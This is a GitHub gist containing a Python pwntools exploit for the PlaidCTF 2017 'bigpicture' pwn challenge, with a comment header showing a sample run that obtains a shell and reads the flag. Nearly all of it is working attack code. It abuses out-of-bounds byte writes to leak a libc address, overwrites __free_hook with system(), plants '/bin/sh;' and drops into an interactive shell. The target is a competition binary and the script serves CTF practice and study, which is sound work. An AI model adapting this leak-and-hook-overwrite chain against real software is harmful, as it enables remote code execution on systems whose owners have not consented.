Skip to content

Instantly share code, notes, and snippets.

@hugsy
Last active May 10, 2017 20:49
Show Gist options
  • Save hugsy/899651804c568404bda84fdc29345f4b to your computer and use it in GitHub Desktop.
Save hugsy/899651804c568404bda84fdc29345f4b to your computer and use it in GitHub Desktop.
PlaidCTF 2017 - bigpicture [pwn 200]
#!/usr/bin/env python2
#
#
# bigpicture [pwn 200] PlaidCTF 2017
#
# $ ./bigpicture.py bigpicture.chal.pwning.xxx 420
# [+] Opening connection to bigpicture.chal.pwning.xxx on port 420: Done
# [*] Starting '/ctf/plaidctf_2017/bigpicture/bigpicture' remotely
# [*] leaking libc
# [+] libc_addr = 0x7ff7b167ac70
# [+] libc = 0x7ff7b1531000
# [+] __free_hook = 0x7ff7b18f67a8
# [*] copying 'sh'
# [*] insert system()[0x7f402a914390] into free_hook()[0x7f402ac947a8]
# [+] done, triggering
# [*] Switching to interactive mode
# $ cat home/bigpicture/flag
# PCTF{draw_me_like_one_of_your_pwn200s}
#
# @_hugsy_
from pwn import *
context.update(arch="amd64",
#log_level="debug",
terminal=["tmux", "split-window", "-v", "-p 85"],)
LOCAL, REMOTE, SSH = False, False, False
TARGET=os.path.realpath("./bigpicture")
TARGET_LIBC=os.path.realpath("./libc-2.23.so")
elf = ELF(TARGET)
libc= ELF(TARGET_LIBC)
def read_byte_from_libc_bss(r, lib_offset, offset, n=-12):
o = -0x10
o-= lib_offset
o+= offset
r.recvuntil("> ")
r.sendline(" %d , %d , %c" % (n, o, '+'))
r.recvuntil("overwriting ")
l = r.recvline()
return u8(l[0])
def write_byte(r, lib_offset, offset, c, n=-12):
o = -0x10
o-= lib_offset
o+= offset
r.recvuntil("> ")
r.sendline(" %d , %d , %c" % (n, o, c))
r.recvuntil("> ")
r.unrecv("> ")
return
def exploit(r):
if LOCAL:
base = r.libs()[TARGET]
bkps = [
#base + 0xbec, # get
#base + 0x0Bff,
base + 0x00A94, # main()
]
cmds = [
"b system",
"b free",
"c",
]
gdb.attach(r, '\n'.join(["break *{:#x}".format(x) for x in bkps] + cmds))
log.info("buf is at %#x" % (base + 0x202020))
r.recvuntil("How big? ")
w, h = 1, 128*1024
r.sendline("%d x %d" % (w,h)) # will mmap exactly before 0x26000 before ld ro pages (dafuq?)
log.info("leaking libc")
if REMOTE:
libc_text_offset = 0x442 * 0x1000
libc_bss_offset = libc_text_offset - 0x3c3000
libc_addr = [ read_byte_from_libc_bss(r, libc_bss_offset, i+0x38) for i in range(0,6)]
libc_addr = ''.join([chr(x) for x in libc_addr])
libc_addr = u64( libc_addr.ljust(8, p8(0)) )
log.success("libc_addr = %#x" % libc_addr)
else:
libc_text_offset = 0x442 * 0x1000 + 0x6000
libc_bss_offset = libc_text_offset - 0x3c3000
libc_addr = [ read_byte_from_libc_bss(r, libc_bss_offset, i+0x38) for i in range(0,6)]
libc_addr = ''.join([chr(x) for x in libc_addr])
libc_addr = u64( libc_addr.ljust(8, p8(0)) )
log.success("libc_addr = %#x" % libc_addr)
libc.address = libc_addr - 0x149c70
log.success("libc = %#x" % libc.address)
off = 0x2000 if LOCAL else 0x2000
free_hook = libc.address + 0x3c3000 + 0x7a8 + 0x2000
log.success("__free_hook = %#x" % free_hook)
binsh = "/bin/sh;"
log.info("copying 'sh'")
for i in range(len(binsh)):
r.recvuntil("> ")
r.sendline(" %d , %d , %c" % (0, i, binsh[i]))
log.info("insert system()[%#x] into free_hook()[%#x]" % (libc.symbols["system"], free_hook))
system = p64(libc.symbols["system"])
for i in range(6):
write_byte(r, libc_bss_offset, i+0x7a8+off, system[i])
log.success("done, triggering")
r.recvuntil("> ")
r.interactive()
return
if __name__ == "__main__":
if len(sys.argv)==3:
REMOTE=True
HOST, PORT = sys.argv[1], int(sys.argv[2])
r = remote(HOST, PORT)
log.info("Starting '{}' remotely".format(TARGET))
else:
LOCAL=True
r = process([TARGET, ], env={"LD_PRELOAD": TARGET_LIBC})
log.info("Starting '{}' locally".format(TARGET))
exploit(r)
sys.exit(0)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment